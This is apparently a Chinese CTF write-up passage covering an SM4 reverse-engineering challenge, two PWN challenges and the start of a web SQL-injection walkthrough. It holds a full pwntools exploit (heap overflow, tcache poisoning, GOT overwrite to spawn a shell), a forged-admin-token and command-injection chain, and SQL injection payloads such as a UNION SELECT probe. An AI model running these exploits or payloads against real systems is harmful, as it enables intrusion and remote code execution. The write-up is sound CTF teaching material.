  1. 程序会读取一段输入

  2. 用SM4做校验

  3. 12345678abcdefgh 很可能是密钥

  4. 最终flag格式是flag{xxx}

  5. 定位主逻辑

主逻辑附近可以还原出如下关键流程:

  1. 读取用户输入

  2. 如果长度条件不满足,输出 Wrong length.

  3. 构造两个数据块

  4. 用户输入

  5. 固定密钥 12345678abcdefgh

  6. 调用 SM4 相关对象处理数据

  7. 将结果与一段 16 字节常量比较

  8. 相等则输出Correct.,否则输出Wrong Answer.

关键比较常量在反汇编里表现为:

4A&nbsp;5E&nbsp;46&nbsp;35&nbsp;96&nbsp;08&nbsp;E9&nbsp;30&nbsp;DA&nbsp;28&nbsp;CA A0&nbsp;22&nbsp;A6&nbsp;59&nbsp;4D

也就是目标密文:

4a5e46359608e930da28caa022a6594d
  1. 判断算法细节

程序里确实实现了完整的 SM4:

  • FK

  • a3b1bac6 56aa3350 677d9197 b27022dc

  • CK

  • 00070e15 … 646b7279

  • Sbox

  • 标准 SM4 Sbox

但这里有个坑:

  • 程序把输入和key先按4字节分组
  • 再按小端当作uint32_t参与轮函数

所以如果直接拿标准按大端读块的SM4去解,会得到乱码

正确做法是模拟程序本身的实现:

  1. 明文/密钥都按 4 字节一组

  2. 每组用 little-endian 读成 uint32

  3. 轮函数仍按 shr 24 / 16 / 8 / 0 取字节

  4. 解密时使用逆序轮密钥

  5. 输出再按 little-endian 拼回字节

  6. 解密目标密文

已知:

  • Key: 12345678abcdefgh
  • Cipher: 4a5e46359608e930da28caa022a6594d

按题目程序的小端版 SM4解密后可得:

SENSOREDS4Little

把它喂给程序验证,程序输出:Correct

拼接即可得到最终flag

5.复现脚本

SBOX&nbsp;=&nbsp;[&nbsp; &nbsp; 0xd6,0x90,0xe9,0xfe,0xcc,0xe1,0x3d,0xb7,0x16,0xb6,0x14,0xc2,0x28,0xfb,0x2c,0x05,&nbsp; &nbsp; 0x2b,0x67,0x9a,0x76,0x2a,0xbe,0x04,0xc3,0xaa,0x44,0x13,0x26,0x49,0x86,0x06,0x99,&nbsp; &nbsp; 0x9c,0x42,0x50,0xf4,0x91,0xef,0x98,0x7a,0x33,0x54,0x0b,0x43,0xed,0xcf,0xac,0x62,&nbsp; &nbsp; 0xe4,0xb3,0x1c,0xa9,0xc9,0x08,0xe8,0x95,0x80,0xdf,0x94,0xfa,0x75,0x8f,0x3f,0xa6,&nbsp; &nbsp; 0x47,0x07,0xa7,0xfc,0xf3,0x73,0x17,0xba,0x83,0x59,0x3c,0x19,0xe6,0x85,0x4f,0xa8,&nbsp; &nbsp; 0x68,0x6b,0x81,0xb2,0x71,0x64,0xda,0x8b,0xf8,0xeb,0x0f,0x4b,0x70,0x56,0x9d,0x35,&nbsp; &nbsp; 0x1e,0x24,0x0e,0x5e,0x63,0x58,0xd1,0xa2,0x25,0x22,0x7c,0x3b,0x01,0x21,0x78,0x87,&nbsp; &nbsp; 0xd4,0x00,0x46,0x57,0x9f,0xd3,0x27,0x52,0x4c,0x36,0x02,0xe7,0xa0,0xc4,0xc8,0x9e,&nbsp; &nbsp; 0xea,0xbf,0x8a,0xd2,0x40,0xc7,0x38,0xb5,0xa3,0xf7,0xf2,0xce,0xf9,0x61,0x15,0xa1,&nbsp; &nbsp; 0xe0,0xae,0x5d,0xa4,0x9b,0x34,0x1a,0x55,0xad,0x93,0x32,0x30,0xf5,0x8c,0xb1,0xe3,&nbsp; &nbsp; 0x1d,0xf6,0xe2,0x2e,0x82,0x66,0xca,0x60,0xc0,0x29,0x23,0xab,0x0d,0x53,0x4e,0x6f,&nbsp; &nbsp; 0xd5,0xdb,0x37,0x45,0xde,0xfd,0x8e,0x2f,0x03,0xff,0x6a,0x72,0x6d,0x6c,0x5b,0x51,&nbsp; &nbsp; 0x8d,0x1b,0xaf,0x92,0xbb,0xdd,0xbc,0x7f,0x11,0xd9,0x5c,0x41,0x1f,0x10,0x5a,0xd8,&nbsp; &nbsp; 0x0a,0xc1,0x31,0x88,0xa5,0xcd,0x7b,0xbd,0x2d,0x74,0xd0,0x12,0xb8,0xe5,0xb4,0xb0,&nbsp; &nbsp; 0x89,0x69,0x97,0x4a,0x0c,0x96,0x77,0x7e,0x65,0xb9,0xf1,0x09,0xc5,0x6e,0xc6,0x84,&nbsp; &nbsp; 0x18,0xf0,0x7d,0xec,0x3a,0xdc,0x4d,0x20,0x79,0xee,0x5f,0x3e,0xd7,0xcb,0x39,0x48,]
FK&nbsp;=&nbsp;[0xa3b1bac6, 0x56aa3350, 0x677d9197, 0xb27022dc]CK&nbsp;=&nbsp;[&nbsp; &nbsp; 0x00070e15,0x1c232a31,0x383f464d,0x545b6269,0x70777e85,0x8c939aa1,0xa8afb6bd,0xc4cbd2d9,&nbsp; &nbsp; 0xe0e7eef5,0xfc030a11,0x181f262d,0x343b4249,0x50575e65,0x6c737a81,0x888f969d,0xa4abb2b9,&nbsp; &nbsp; 0xc0c7ced5,0xdce3eaf1,0xf8ff060d,0x141b2229,0x30373e45,0x4c535a61,0x686f767d,0x848b9299,&nbsp; &nbsp; 0xa0a7aeb5,0xbcc3cad1,0xd8dfe6ed,0xf4fb0209,0x10171e25,0x2c333a41,0x484f565d,0x646b7279,]
def&nbsp;rol(x, n):&nbsp; &nbsp;&nbsp;return&nbsp;((x << n) &&nbsp;0xffffffff) | ((x &&nbsp;0xffffffff) >> (32&nbsp;- n))
def&nbsp;tau(a):&nbsp; &nbsp;&nbsp;out&nbsp;=&nbsp;0&nbsp; &nbsp;&nbsp;for&nbsp;shift in (24,&nbsp;16,&nbsp;8,&nbsp;0):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;out&nbsp;= (out <<&nbsp;8) | SBOX[(a >> shift) &&nbsp;0xff]&nbsp; &nbsp;&nbsp;return&nbsp;out
def&nbsp;T(x):&nbsp; &nbsp;&nbsp;b&nbsp;= tau(x)&nbsp; &nbsp;&nbsp;return&nbsp;b ^ rol(b,&nbsp;2) ^ rol(b,&nbsp;10) ^ rol(b,&nbsp;18) ^ rol(b,&nbsp;24)
def&nbsp;Tp(x):&nbsp; &nbsp;&nbsp;b&nbsp;= tau(x)&nbsp; &nbsp;&nbsp;return&nbsp;b ^ rol(b,&nbsp;13) ^ rol(b,&nbsp;23)
def&nbsp;key_schedule_le(key_bytes):&nbsp; &nbsp;&nbsp;MK&nbsp;=&nbsp;[int.from_bytes(key_bytes[i:i+4], "little") for i in range(0, 16, 4)]&nbsp; &nbsp;&nbsp;K&nbsp;=&nbsp;[MK[i] ^ FK[i] for i in range(4)]&nbsp; &nbsp;&nbsp;rk&nbsp;=&nbsp;[]&nbsp; &nbsp;&nbsp;for&nbsp;i in range(32):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;K.append((K[i] ^ Tp(K[i+1] ^ K[i+2] ^ K[i+3] ^ CK[i])) &&nbsp;0xffffffff)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;rk.append(K[-1])&nbsp; &nbsp;&nbsp;return&nbsp;rk
def&nbsp;crypt_le(block_bytes, rk):&nbsp; &nbsp;&nbsp;X&nbsp;=&nbsp;[int.from_bytes(block_bytes[i:i+4], "little") for i in range(0, 16, 4)]&nbsp; &nbsp;&nbsp;for&nbsp;i in range(32):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;X.append((X[i] ^ T(X[i+1] ^ X[i+2] ^ X[i+3] ^ rk[i])) &&nbsp;0xffffffff)&nbsp; &nbsp;&nbsp;Y&nbsp;=&nbsp;[X[35], X[34], X[33], X[32]]&nbsp; &nbsp;&nbsp;return&nbsp;b"".join(y.to_bytes(4,&nbsp;"little") for y in Y)
key&nbsp;= b"12345678abcdefgh"cipher&nbsp;= bytes.fromhex("4a5e46359608e930da28caa022a6594d")
rk&nbsp;= key_schedule_le(key)plain&nbsp;= crypt_le(cipher, rk[::-1])print(plain.decode())

PWN

Neural-Inference

题目内容:

这是一个高度集成的 AI 对话引擎服务,其底层由自定义的执行环境与复杂的认证逻辑驱动。在面对该服务的多层防御架构时,请尝试对其逐步渗透并获取目标环境中隐藏的flag。

一、题目整体架构

先看目录结构:

bin/enginefrontend/app.pyplugins/validate.shscripts/gen_model.pyDockerfileinit.sh

是一个典型的Web前端+本地高权限后端引擎架构:

  1. frontend/app.py 是 Flask Web 服务,对外暴露 HTTP API

  2. Flask 不直接处理核心逻辑,而是把请求转发给 Unix Socket 后端 /opt/neuralchat/run/engine.sock

  3. 真正的核心逻辑都在 bin/engine 这个 ELF 里

  4. init.sh 明确说明:

  5. engine 以 root 身份启动

  6. Flask 以前台低权限用户 neuralchat 运行

  7. Dockerfile 中把 flag 放在 /home/ctf/flag,权限设成 000,说明预期就是要借助 engine 的 root 权限去读

关键文件中的明确信息:

  • init.sh

  • engine以root启动

  • 注释里直接提到了flag access via VNM/system()

  • frontend/app.py

  • 暴露 /api/status

  • 暴露 /api/raw

  • Dockerfile

  • COPY flag.txt /home/ctf/flag

  • chmod 000 /home/ctf/flag

二、Web 层分析

  1. 前端只是协议转发器

frontend/app.py 的核心函数是:

def&nbsp;send_to_engine(command, payload=b''):&nbsp; &nbsp; sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)&nbsp; &nbsp; sock.connect(ENGINE_SOCKET)
&nbsp; &nbsp; total_len =&nbsp;5&nbsp;+&nbsp;len(payload)&nbsp; &nbsp; msg = struct.pack('<I', total_len) +&nbsp;bytes([command]) + payload&nbsp; &nbsp; sock.sendall(msg)

说明engine协议格式如下:

<total_len: u32 little-endian><command: u8><payload...>

返回包格式:

<resp_len: u32><status: u8><data...>
  1. 危险接口/api/raw

/api/raw 会把用户传入的 base64 数据直接还原成:

<command: u8><payload...>

然后原样发给 engine。

这意味着:

  1. 我们不需要受限于Flask里那些正常 API

  2. 可以直接调用engine的任意命令字,包括隐藏的管理命令0xFF

  3. /api/status 信息泄露

/api/status 会返回:

{"model_loaded":1,"pid":8,"sessions":0,"status":"running","uptime":49,"version":"2.1.0"}

这里直接暴露了pid和uptime,而这两个值后面会直接参与管理认证密钥生成

三、ELF逆向结论

对 bin/engine 做静态分析后,可以恢复出以下关键函数:

  • derive_admin_key
  • verify_admin_token
  • handle_admin
  • execute_vnm
  • load_ncml_model

同时字符串表里能看到:

Admin key derivedAdmin&nbsp;command&nbsp;authenticated: sub_cmd=0x%02xAdmin running diagnostics via VNMExecuting diagnostic script: %s/opt/neuralchat/plugins/diag.sh

这几个字符串已经非常明显地指向一条利用链:

  1. 先过admin鉴权
  2. 进入admin子命令
  3. 触发VNM
  4. 最终触发system()

四、管理认证逻辑

  1. admin 包格式

handle_admin 接收的 payload 格式为:

<timestamp: u32><subcmd: u8><token: 32 bytes><body...>

整个 payload 再配合命令字 0xFF,通过 /api/raw 发给后端

也就是原始发包内容:

0xFF ||&nbsp;<timestamp>&nbsp;||&nbsp;<subcmd>&nbsp;||&nbsp;<token>&nbsp;||&nbsp;<body>
  1. token校验规则

verify_admin_token 的逻辑可以还原为:

检查&nbsp;abs(now&nbsp;-&nbsp;timestamp)&nbsp;<=&nbsp;60计算 SHA256(timestamp&nbsp;||&nbsp;subcmd&nbsp;||&nbsp;body&nbsp;||&nbsp;admin_key)与客户端提交的&nbsp;32&nbsp;字节 token 比较

所以只要时间戳在 60 秒窗口内且能推导出 admin_key,就可以伪造合法管理请求

  1. admin_key推导方式

derive_admin_key(pid, start_time, out) 的核心逻辑如下:

state&nbsp;= ((pid *&nbsp;0x045D9F3B) ^ ((start_time &&nbsp;0xffffffff) *&nbsp;0x119DE1F3)) &&nbsp;0xffffffff
for&nbsp;i in range(16):&nbsp; &nbsp;&nbsp;state&nbsp;^= (state <<&nbsp;13) &&nbsp;0xffffffff&nbsp; &nbsp;&nbsp;state&nbsp;^= state >>&nbsp;7&nbsp; &nbsp;&nbsp;state&nbsp;^= (state <<&nbsp;17) &&nbsp;0xffffffff&nbsp; &nbsp;&nbsp;out[i] = AES_SBOX[state &&nbsp;0xff]&nbsp; &nbsp;&nbsp;state&nbsp;= (state + ((i +&nbsp;1) *&nbsp;0x9E3779B9)) &&nbsp;0xffffffff

也就是说,admin key 只依赖两个动态量:pid、start_time

其中:

  • pid 可以从 /api/status 直接得到;
  • start_time = 当前时间 – uptime

而uptime同样由/api/status直接泄露,所以这套“鉴权”本质上是可预测的

五、admin 子命令映射

逆向 handle_admin 后可以得到:

  • subcmd = 0x01:返回管理信息
  • subcmd = 0x02:重新加载模型
  • subcmd = 0x03:更新 system prompt
  • subcmd = 0x04:读取日志文件尾部
  • subcmd = 0x05:执行 VNM,然后执行诊断脚本

其中最关键的是 subcmd = 0x05:

Admin running diagnostics via VNM...Executing diagnostic script:&nbsp;%ssystem(g_diag_path)

这说明:

  1. 先执行自定义虚拟机 execute_vnm
  2. 再调用 system() 执行某个路径字符串

六、VNM虚拟机分析

  1. 关键结论

execute_vnm 内部维护:

  • 16 个 32 位寄存器
  • 一个可读写的内存区,实际指向全局数据附近

最关键的写内存指令会向如下地址写入 4 字节:

0x9440&nbsp;+&nbsp;0x90 + signed_offset

而 .data 区里有一个全局字符串:

0x9450&nbsp;->&nbsp;"/opt/neuralchat/plugins/diag.sh"

这正是 admin 诊断流程最后拿去执行的脚本路径g_diag_path

  1. 覆盖g_diag_path

因为:

0x9450&nbsp;=&nbsp;0x9440 +&nbsp;0x90 -&nbsp;0x80

也就是说只要在写指令里使用 offset = -128,就能正好从 g_diag_path 开始覆盖。后续每次再加 4,就可以把整个字符串逐块写掉

  1. VNM指令

本题只需要两条:

0x02&nbsp;<reg>&nbsp;<imm32>//把 4 字节立即数写到寄存器
0x07&nbsp;<offset8>&nbsp;<reg>//把该寄存器的 4 字节内容写到 0x9440 + 0x90 + signed(offset8)

结束指令:0xFF

七、最终利用思路

目标非常直接:

  1. 伪造 admin 请求
  2. 调用 subcmd=0x05
  3. 用VNM覆盖 g_diag_path
  4. 把它改成一条 shell 命令:
cp&nbsp;/home/ctf/flag /opt/neuralchat/downloads/f
  1. admin 流程随后会执行:
system(g_diag_path);

于是等价于执行:

cp&nbsp;/home/ctf/flag /opt/neuralchat/downloads/f
  1. 最后访问:
/api/download?file=f

即可读回 flag

八、利用过程

第一步:获取状态信息

访问:

GET /api/status

得到:

{"model_loaded":1,"pid":8,"sessions":0,"status":"running","uptime":126,"version":"2.1.0"}

根据响应头 Date 和 uptime 计算:

start_time&nbsp;= server_now - uptime

第二步:推导 admin_key

用 pid 和 start_time 跑 derive_admin_key 算法即可

第三步:构造恶意 VNM

要写入的命令:

cp&nbsp;/home/ctf/flag /opt/neuralchat/downloads/f

每 4 字节拆一块,依次写到偏移:

-128, -124, -120, ...

伪代码如下:

def&nbsp;build_vnm_store(command):&nbsp; &nbsp;&nbsp;payload&nbsp;= bytearray()&nbsp; &nbsp;&nbsp;padded&nbsp;= command + b"\x00"&nbsp;* ((4&nbsp;- len(command) %&nbsp;4) %&nbsp;4)&nbsp; &nbsp;&nbsp;for&nbsp;i in range(0, len(padded),&nbsp;4):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;chunk&nbsp;= padded[i:i +&nbsp;4]&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;offset&nbsp;= -128&nbsp;+ i&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;payload&nbsp;+= bytes([0x02,&nbsp;0x00]) + chunk&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;payload&nbsp;+= bytes([0x07, offset &&nbsp;0xff,&nbsp;0x00])&nbsp; &nbsp;&nbsp;payload&nbsp;+= b"\xff"&nbsp; &nbsp;&nbsp;return&nbsp;bytes(payload)

第四步:构造 admin token

token = sha256(&nbsp; &nbsp; p32(timestamp) +&nbsp; &nbsp; bytes([subcmd]) +&nbsp; &nbsp; body +&nbsp; &nbsp; admin_key).digest()

第五步:通过/api/raw发送

原始内容:

0xFF ||&nbsp;<timestamp>&nbsp;|| <subcmd=0x05> ||&nbsp;<token>&nbsp;||&nbsp;<vnm_body>

经过 base64 编码后 POST 到:

POST /api/raw

第六步:下载 flag

执行成功后访问:

GET /api/download?file=f

即可得到flag

odd-chat

题目内容:

他们怎么听不懂我说话?

题目信息

  • 程序:attachment
  • 架构:amd64
  • 保护:Partial RELRO、Canary、NX、No PIE
  • 附件给了 libc.so.6,版本是 Ubuntu GLIBC 2.27

菜单逻辑很简单:

  1. Chat
  2. Change name
  3. View chat history
  4. Clear chat
  5. Quit

每条聊天记录都是一个 malloc(0x20) 的 chunk,头插到链表里,链表指针保存在全局 ptr

漏洞点

  1. Chat的长度处理有符号整数溢出

关键逻辑是:

v1 =&nbsp;abs(input) %&nbsp;24;sub_400AD9(ptr, v1);

正常看像是最多只能写 23 字节,但这里的 abs 是手搓的位运算版本,INT_MIN 会出问题。

当输入 -2147483648 时:

  • 绝对值结果仍然是 0x80000000
  • 再做 % 24 后得到的是 -8
  • 这个值后面以无符号形式继续使用

于是 sub_400AD9 的上限实际上变成了一个巨大的无符号数,直接拿到任意长写

  1. Change name可被转成任意地址写

改名函数本身只是:

fgets(s_0,&nbsp;48, stdin);

这里的 s_0 是一个全局指针,初始化时指向正常名字缓冲区 s_。

只要能改掉 s_0,Change name 就能变成一个非常舒服的 48 字节任意地址写

  1. View chat history 和 Chat 都会把 s_0 当字符串打印

打印用户名字时使用:

printf("[#%d] User:&nbsp;%s", ..., s_0);

所以如果把 s_0 改成 puts@got,就能把 GOT 里的 libc 地址当字符串打出来,完成 leak

利用思路

当前 exp.py 的思路可以概括成 4 步:

  1. 用 INT_MIN 拿到堆溢出
  2. 借 clear chat 把两个 0x20 chunk 填进 tcache,再做一次 tcache poisoning
  3. 把 malloc(0x20) 打到全局区 0x6020e0,从而改掉 s_0
  4. s_0 -> puts@got 先 leak libc,再用 Change name 改 puts@got -> system,最后走 View chat history 触发 system(“/bin/sh”)

详细利用过程

  1. 先布置两个 chunk

先聊两次,得到两个相邻的 0x20 chunk:

  • A:较低地址
  • B:较高地址

此时链表是 B -> A

  1. Clear chat 把它们送进 tcache

执行 Clear chat 后,按 B 再 A 的顺序 free。

对于 0x20 这个大小,tcache 链会变成:

  • head -> A
  • A->next = B

这样下一次 malloc(0x20) 会先取回 A

Step 3. 重新申请A,溢出改 B->next

再走一次 Chat,这次拿回的是 A

利用 INT_MIN 绕过长度限制,从 A 开始往后写,越过自己的数据区和 B 的 chunk header,最终覆盖掉空闲 chunk B 的 tcache next 指针

exp.py 里对应的目标地址是:

TARGET&nbsp;=&nbsp;0x6020E0

溢出伪造内容是:

poison&nbsp;= b"A"&nbsp;*&nbsp;24&nbsp;+ p64(0) + p64(0) + p64(0x31) + p64(TARGET)

含义是:

  • 前 24 字节随便填
  • 下一块 chunk 的 size 维持成 0x31
  • 把空闲 chunk B 的 tcache next 改成 0x6020e0
  1. 连续两次申请,拿到伪造 chunk

接下来:

  1. 再申请一次,把 B 正常取出来
  2. 再申请一次,malloc(0x20) 就会返回 0x6020e0

为什么选 0x6020e0?

  • 这里是全局区,可写
  • 0x6020f0 附近正好有全局指针 s_0
  • 不会像直接打到 0x6020f0 那样让 tcache head 落到别的全局对象上

当前 exp 在这个 fake chunk 上写入:

fake_chunk&nbsp;= p64(0) + p64(5) + p64(elf.got["puts"])

布局对应:

  • 0x6020e0: 填 0
  • 0x6020e8: 计数值,填个正数避免显示太怪
  • 0x6020f0: s_0 = puts@got

这里故意只发 24 字节

因为 sub_400AD9 在遇到换行时会在 buf[len] 位置补 \0,长度正好是 24 时,这个 \0 会落到 fake chunk 的 next 域上,顺手把链表断干净

Step 5. 用 %s 从 puts@got 泄露 libc

接着再走一次 Chat,当前程序会执行:

printf("[#%d] User:&nbsp;%s", ..., s_0);

而此时 s_0 = puts@got,所以能直接读出 puts 的运行时地址。

exp.py 里的处理:

leak_blob&nbsp;= chat(io, forge_ciphertext(b"D"&nbsp;*&nbsp;24), bypass=True)leak&nbsp;= leak_blob.split(b"User: ",&nbsp;1)[1][:6]puts_addr&nbsp;= u64(leak.ljust(8, b"\x00"))libc.address&nbsp;= puts_addr - libc.sym["puts"]

Step 6. Change name 变成 GOT 写

libc 基址有了之后,继续走 Change name。

因为 s_0 现在指向 puts@got,所以:

fgets(s_0,&nbsp;48, stdin);

就变成了对 GOT 区域的覆盖。

当前 exp 覆盖的是:

got_overwrite = flat(&nbsp; &nbsp; libc.sym["system"],&nbsp; &nbsp; libc.sym["__stack_chk_fail"],&nbsp; &nbsp; libc.sym["printf"],&nbsp; &nbsp; libc.sym["__libc_start_main"],&nbsp; &nbsp; libc.sym["fgets"],&nbsp; &nbsp; libc.sym["getchar"],)

也就是:

  • puts@got -> system
  • 其它临近 GOT 项恢复成正确 libc 地址,避免程序提前崩
  1. 用 View chat history 触发 system(“/bin/sh”)

exp 一开始就把名字设置成了:

DEFAULT_CMD&nbsp;= b"/bin/sh"

而 View chat history 里有一句:

puts(s_);

当 puts@got 被改成 system 之后,这句等价于:

system("/bin/sh");

于是直接 getshell

当前 exp.py 最后:

choose(io,&nbsp;3)return&nbsp;io.recvrepeat(3)...finally:&nbsp; &nbsp; io.interactive()

所以会先把前面一段输出读出来,然后进入交互

拿到 shell 后执行

cat&nbsp;flag

即可得到最终flag

完整解题脚本:

from pathlib&nbsp;import&nbsp;Pathimport&nbsp;sys
from pwn&nbsp;import&nbsp;*

HOST =&nbsp;"XX.XX.XX.XX"PORT =&nbsp;12345
TARGET =&nbsp;0x6020E0KEY =&nbsp;1131796DELTA =&nbsp;1640465991ROUNDS =&nbsp;17DEFAULT_CMD = b"/bin/sh"
context.binary = elf = ELF("./attachment", checksec=False)libc = ELF("./libc.so.6", checksec=False)context.log_level =&nbsp;"debug"

def&nbsp;decrypt_block(block: bytes)&nbsp;-> bytes:&nbsp; &nbsp; v0 = u32(block[:4])&nbsp; &nbsp; v1 = u32(block[4:])&nbsp; &nbsp; acc = (-DELTA * ROUNDS) &&nbsp;0xFFFFFFFF
&nbsp; &nbsp;&nbsp;for&nbsp;_ in&nbsp;range(ROUNDS):&nbsp; &nbsp; &nbsp; &nbsp; v1 = (&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v1&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; - (&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (v0 + acc)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ^ ((16&nbsp;* v0 + KEY) &&nbsp;0xFFFFFFFF)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ^ (((v0 >>&nbsp;5) + KEY) &&nbsp;0xFFFFFFFF)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )&nbsp; &nbsp; &nbsp; &nbsp; ) &&nbsp;0xFFFFFFFF&nbsp; &nbsp; &nbsp; &nbsp; acc = (acc + DELTA) &&nbsp;0xFFFFFFFF&nbsp; &nbsp; &nbsp; &nbsp; v0 = (&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v0&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; - (&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (v1 + acc)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ^ ((16&nbsp;* v1 + KEY) &&nbsp;0xFFFFFFFF)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ^ (((v1 >>&nbsp;5) + KEY) &&nbsp;0xFFFFFFFF)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )&nbsp; &nbsp; &nbsp; &nbsp; ) &&nbsp;0xFFFFFFFF
&nbsp; &nbsp;&nbsp;return&nbsp;p32(v0) + p32(v1)

def&nbsp;forge_ciphertext(desired: bytes)&nbsp;-> bytes:&nbsp; &nbsp;&nbsp;if&nbsp;len(desired)&nbsp;%&nbsp;8&nbsp;!=&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp; raise&nbsp;ValueError("desired ciphertext length must be a multiple of 8")&nbsp; &nbsp;&nbsp;return&nbsp;b"".join(decrypt_block(desired[i : i +&nbsp;8])&nbsp;for&nbsp;i in&nbsp;range(0, len(desired),&nbsp;8))

def&nbsp;start():&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;remote(args.HOST or HOST,&nbsp;int(args.PORT or PORT))

def&nbsp;choose(io, choice:&nbsp;int):&nbsp; &nbsp; io.sendline(str(choice).encode())

def&nbsp;chat(io, data: bytes, *, bypass: bool = False)&nbsp;-> bytes:&nbsp; &nbsp;&nbsp;if&nbsp;len(data)&nbsp;>&nbsp;23&nbsp;and not bypass:&nbsp; &nbsp; &nbsp; &nbsp; raise&nbsp;ValueError("normal chat payloads must be <= 23 bytes")
&nbsp; &nbsp; choose(io,&nbsp;1)&nbsp; &nbsp; io.sendlineafter(&nbsp; &nbsp; &nbsp; &nbsp; b"How many characters do you want to send: ",&nbsp; &nbsp; &nbsp; &nbsp; b"-2147483648"&nbsp;if&nbsp;bypass&nbsp;else&nbsp;str(len(data)).encode(),&nbsp; &nbsp; )&nbsp; &nbsp; io.sendafter(b"> ", data + b"\n")&nbsp; &nbsp;&nbsp;return&nbsp;io.recvuntil(b">> ", drop=True)

def&nbsp;change_name_raw(io, data: bytes)&nbsp;-> bytes:&nbsp; &nbsp;&nbsp;if&nbsp;len(data)&nbsp;>&nbsp;47:&nbsp; &nbsp; &nbsp; &nbsp; raise&nbsp;ValueError("name payload must be <= 47 bytes")
&nbsp; &nbsp; choose(io,&nbsp;2)&nbsp; &nbsp; io.sendafter(b"Please enter your name: ", data)&nbsp; &nbsp;&nbsp;return&nbsp;io.recvuntil(b">> ", drop=True)

def&nbsp;initial_command()&nbsp;-> bytes:&nbsp; &nbsp;&nbsp;for&nbsp;arg in sys.argv[1:]:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;arg.startswith("FLAGCMD="):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cmd = arg.split("=",&nbsp;1)[1].encode()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;len(cmd)&nbsp;>&nbsp;47&nbsp;or b"\n"&nbsp;in cmd:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; raise&nbsp;ValueError("FLAGCMD must be <= 47 bytes and cannot contain newlines")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;cmd&nbsp; &nbsp;&nbsp;return&nbsp;DEFAULT_CMD

def&nbsp;exploit(io)&nbsp;-> bytes:&nbsp; &nbsp; io.sendafter(b"Please enter your name: ", initial_command() + b"\n")&nbsp; &nbsp; io.recvuntil(b">> ")
&nbsp; &nbsp; chat(io, b"A")&nbsp; &nbsp; chat(io, b"B")
&nbsp; &nbsp; choose(io,&nbsp;4)&nbsp; &nbsp; io.recvuntil(b">> ")
&nbsp; &nbsp; poison = b"A"&nbsp;*&nbsp;24&nbsp;+ p64(0) + p64(0) + p64(0x31) + p64(TARGET)&nbsp; &nbsp; chat(io, forge_ciphertext(poison), bypass=True)&nbsp; &nbsp; chat(io, b"CCCCCCCC")
&nbsp; &nbsp; fake_chunk = p64(0) + p64(5) + p64(elf.got["puts"])&nbsp; &nbsp; chat(io, forge_ciphertext(fake_chunk), bypass=True)
&nbsp; &nbsp; leak_blob = chat(io, forge_ciphertext(b"D"&nbsp;*&nbsp;24), bypass=True)&nbsp; &nbsp; leak = leak_blob.split(b"User: ",&nbsp;1)[1][:6]&nbsp; &nbsp; puts_addr = u64(leak.ljust(8, b"\x00"))&nbsp; &nbsp; libc.address = puts_addr - libc.sym["puts"]&nbsp; &nbsp; log.success(f"puts leak: {puts_addr:#x}")&nbsp; &nbsp; log.success(f"libc base: {libc.address:#x}")
&nbsp; &nbsp; got_overwrite = flat(&nbsp; &nbsp; &nbsp; &nbsp; libc.sym["system"],&nbsp; &nbsp; &nbsp; &nbsp; libc.sym["__stack_chk_fail"],&nbsp; &nbsp; &nbsp; &nbsp; libc.sym["printf"],&nbsp; &nbsp; &nbsp; &nbsp; libc.sym["__libc_start_main"],&nbsp; &nbsp; &nbsp; &nbsp; libc.sym["fgets"],&nbsp; &nbsp; &nbsp; &nbsp; libc.sym["getchar"],&nbsp; &nbsp; )&nbsp; &nbsp; change_name_raw(io, got_overwrite[:-1])
&nbsp; &nbsp; choose(io,&nbsp;3)&nbsp; &nbsp;&nbsp;return&nbsp;io.recvrepeat(3)

def&nbsp;main():&nbsp; &nbsp; io = start()&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; result = exploit(io)&nbsp; &nbsp; &nbsp; &nbsp; sys.stdout.buffer.write(result)&nbsp; &nbsp; &nbsp; &nbsp; sys.stdout.flush()&nbsp; &nbsp;&nbsp;finally:&nbsp; &nbsp; &nbsp; &nbsp; io.interactive()

if&nbsp;__name__ ==&nbsp;"__main__":&nbsp; &nbsp; main()

Web

gopherblog

题目内容:

GopherBlog 是一个使用 Go 语言开发的现代博客平台。管理员对系统的安全性非常自信,你能突破层层防线吗?

  1. 初步信息收集

访问首页后可以看到公开路由:

  • /
  • /login
  • /register
  • /api/posts
  • /api/posts/search
  • /admin(未登录会跳转)
  1. 漏洞一:/api/posts/search存在SQL注入

2.1 注入判断

请求:

GET&nbsp;/api/posts/search?q=' OR&nbsp;1=1&nbsp;--

返回结果数量明显异常(返回所有文章),说明注入成立

2.2 确认列数

使用 ORDER BY 测试:

  • ORDER BY 6 正常
  • ORDER BY 7 异常

可知查询列数为 6 列

2.3 UNION 注入验证

' UNION SELECT 1,2,3,4,5,6 --

